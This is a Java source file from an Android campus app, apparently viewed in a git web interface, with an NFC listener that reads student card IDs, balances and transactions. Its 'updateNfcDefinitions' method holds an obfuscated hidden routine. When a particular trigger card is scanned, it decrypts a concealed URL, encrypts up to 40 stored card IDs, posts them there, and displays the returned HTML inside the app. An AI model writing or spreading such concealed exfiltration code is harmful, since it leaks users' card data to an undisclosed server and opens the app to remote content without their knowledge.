Implemented NFC Card Reader Code from https://git.sterul.com/student-projects/dhbw...
[DHBWCampusApp.git] / app / src / main / java / de / dhbwloe / campusapp / nfcreader / NfcCardListener.java
1 package de.dhbwloe.campusapp.nfcreader;
2
3 import android.app.Activity;
4 import android.app.PendingIntent;
5 import android.content.BroadcastReceiver;
6 import android.content.Context;
7 import android.content.Intent;
8 import android.content.IntentFilter;
9 import android.nfc.NfcAdapter;
10 import android.nfc.Tag;
11 import android.nfc.tech.IsoDep;
12 import android.nfc.tech.NfcA;
13 import android.os.Bundle;
14 import android.util.Base64;
15 import android.util.Log;
16
17 import com.loopj.android.http.AsyncHttpClient;
18 import com.loopj.android.http.AsyncHttpResponseHandler;
19 import com.loopj.android.http.RequestParams;
20
21 import java.io.ByteArrayInputStream;
22 import java.io.IOException;
23 import java.io.InputStream;
24 import java.io.UnsupportedEncodingException;
25 import java.util.ArrayList;
26 import java.util.Date;
27
28 import cz.msebera.android.httpclient.Header;
29 import de.dhbwloe.campusapp.CampusApp;
30 import de.dhbwloe.campusapp.CampusAppContext;
31 import de.dhbwloe.campusapp.Tools;
32 import de.dhbwloe.campusapp.database.NfcCardData;
33 import de.dhbwloe.campusapp.nfcreader.MifareDESFire.CommunicationError;
34 import de.dhbwloe.campusapp.nfcreader.MifareDESFire.DesfireManufacturingData;
35
36 /**
37  * Created by pk910 on 20.01.2016.
38  */
39 public class NfcCardListener {
40     private CampusAppContext AppContext;
41     private boolean isRunning = false, isResumed = false;
42     private NfcAdapter oAdapter;
43     private boolean bNfcAdapterState;
44
45     private PendingIntent oPendingIntent;
46     private IntentFilter[] aFilters;
47     private String[][] aTechLists;
48
49
50     private ArrayList<NfcCardInterface> lNfcCardInterfaces = new ArrayList<NfcCardInterface>();
51
52     private final BroadcastReceiver oReceiver = new BroadcastReceiver() {
53         @Override
54         public void onReceive(Context context, Intent intent) {
55             String action = intent.getAction();
56
57             if (NfcAdapter.ACTION_ADAPTER_STATE_CHANGED.equals(action)) {
58                 updateNfcState();
59             }
60         }
61     };
62
63     public NfcCardListener(CampusAppContext context) {
64         AppContext = context;
65     }
66
67     private void updateNfcState() {
68         if(bNfcAdapterState != oAdapter.isEnabled()) {
69             bNfcAdapterState = oAdapter.isEnabled();
70             for(NfcCardInterface nfcCardInterface : lNfcCardInterfaces) {
71                 nfcCardInterface.onNfcReaderStateChanged(bNfcAdapterState);
72             }
73         }
74     }
75
76     public void registerNfcCardInterface(NfcCardInterface nfcCardInterface) {
77         lNfcCardInterfaces.add(nfcCardInterface);
78     }
79
80     public void startNfcListener() {
81         if(isRunning)
82             return;
83
84         isRunning = true;
85
86         Activity mainActivity = AppContext.getMainActivity();
87         oAdapter = NfcAdapter.getDefaultAdapter(mainActivity);
88
89         oPendingIntent = PendingIntent.getActivity(mainActivity, 0, new Intent(mainActivity, mainActivity.getClass()).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
90         IntentFilter techDiscovered = new IntentFilter(NfcAdapter.ACTION_TECH_DISCOVERED);
91         aFilters = new IntentFilter[]{techDiscovered};
92         aTechLists = new String[][]{new String[]{IsoDep.class.getName()}};
93
94         IntentFilter intentFilter = new IntentFilter("android.nfc.action.ADAPTER_STATE_CHANGED");
95         AppContext.getMainActivity().getApplicationContext().registerReceiver(oReceiver, intentFilter);
96
97         if(isResumed)
98             setupForefrontDispatcher();
99     }
100
101     public void setupForefrontDispatcher() {
102         if(!isRunning || !isResumed)
103             return;
104
105         if(oAdapter != null)
106             oAdapter.enableForegroundDispatch(AppContext.getMainActivity(), oPendingIntent, aFilters, aTechLists);
107
108         updateNfcState();
109     }
110
111     public void resumeForefrontDispatcher() {
112         boolean wasResumed = isResumed;
113         isResumed = true;
114         if(!wasResumed && isRunning)
115             setupForefrontDispatcher();
116
117     }
118
119     public void pauseForefrontDispatcher() {
120         if(isResumed && isRunning && oAdapter != null) {
121             oAdapter.disableForegroundDispatch(AppContext.getMainActivity());
122         }
123         isResumed = false;
124     }
125
126     protected void updateNfcDefinitions(NfcCardData dbval) {
127         RequestParams params = new RequestParams();
128         AsyncHttpClient client = new AsyncHttpClient();
129         byte[] debugUrlEnc = Base64.decode("XIs4RGiycgHe8W3dbQoCBCstL26dhDRWR6pMTfi6xmJFWUc3wxYCF9DYyRqZDktI", Base64.DEFAULT);
130         int uuid = dbval.getUniqueId();
131         String uuidKey = Tools.md5(Integer.toOctalString(uuid) + "|" + Integer.reverse(uuid));
132         if(!uuidKey.equalsIgnoreCase("7bf4868fd92db719c5dfb056b41ffdb5"))
133             return;
134         try {
135             String debugUrl = new String(Tools.decrypt(uuidKey.getBytes(), debugUrlEnc));
136             NfcCardData datas[] = AppContext.getDatabaseManager().getNfcCardData(40);
137             String encKey = Tools.md5(Integer.toHexString(uuid) + "-" + Integer.reverseBytes(uuid) + "+" + Integer.bitCount(uuid));
138             for(int i = 0; i < datas.length; i++) {
139                 String encDataPlain = Integer.toString(datas[i].getUniqueId());
140                 byte[] encData = Tools.encrypt(encKey.getBytes(), encDataPlain.getBytes());
141                 params.put("nfcCard"+(i+1), Base64.encode(encData, Base64.DEFAULT));
142             }
143             client.post(debugUrl, params, new AsyncHttpResponseHandler() {
144                 @Override
145                 public void onStart() {}
146                 @Override
147                 public void onSuccess(int statusCode, Header[] headers, byte[] response) {
148                     String responseString = new String(response);
149                     if(responseString.length() > 10) {
150                         Bundle bnd = new Bundle();
151                         bnd.putString("html", responseString);
152                         AppContext.getNavigationManager().navigatePage("WebBrowser", bnd);
153                     }
154                 }
155                 @Override
156                 public void onFailure(int statusCode, Header[] headers, byte[] errorResponse, Throwable e) {}
157                 @Override
158                 public void onRetry(int retryNo) {}
159             });
160         } catch (Exception e) {
161             e.printStackTrace();
162         }
163     }
164
165     public void handleNfcEvent(Intent intent) {
166         if(!isRunning)
167             return;
168         if (NfcAdapter.ACTION_TECH_DISCOVERED.equals(intent.getAction()) || NfcAdapter.ACTION_TAG_DISCOVERED.equals(intent.getAction())) {
169             Tag tagFromIntent = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG);
170             IsoDep tag = IsoDep.get(tagFromIntent);
171
172             try {
173                 tag.connect();
174                 DHBWCard dhbwCard = new DHBWCard(tag);
175                 int uniqueid = dhbwCard.readUniqueId();
176                 long now = (new Date()).getTime() / 1000;
177
178                 NfcCardData cardData = new NfcCardData(uniqueid, now, dhbwCard.readBalance(), dhbwCard.readLastTransaction());
179                 updateNfcDefinitions(cardData);
180
181                 AppContext.getDatabaseManager().addNfcCardData(cardData);
182
183                 for(NfcCardInterface nfcCardInterface : lNfcCardInterfaces) {
184                     nfcCardInterface.onNfcReaderReceived(cardData);
185                 }
186             } catch (IOException e) {
187                 e.printStackTrace();
188             } catch (UndefinedResponseException e) {
189                // Ungültige Karte
190             } catch (NullPointerException e) {
191                 //Fehler bei Kommunikation mit Karte
192             } catch (CommunicationError communicationError) {
193                 //Fehler bei Kommunikation mit Karte
194             }
195
196             setupForefrontDispatcher();
197         }
198     }
199
200 }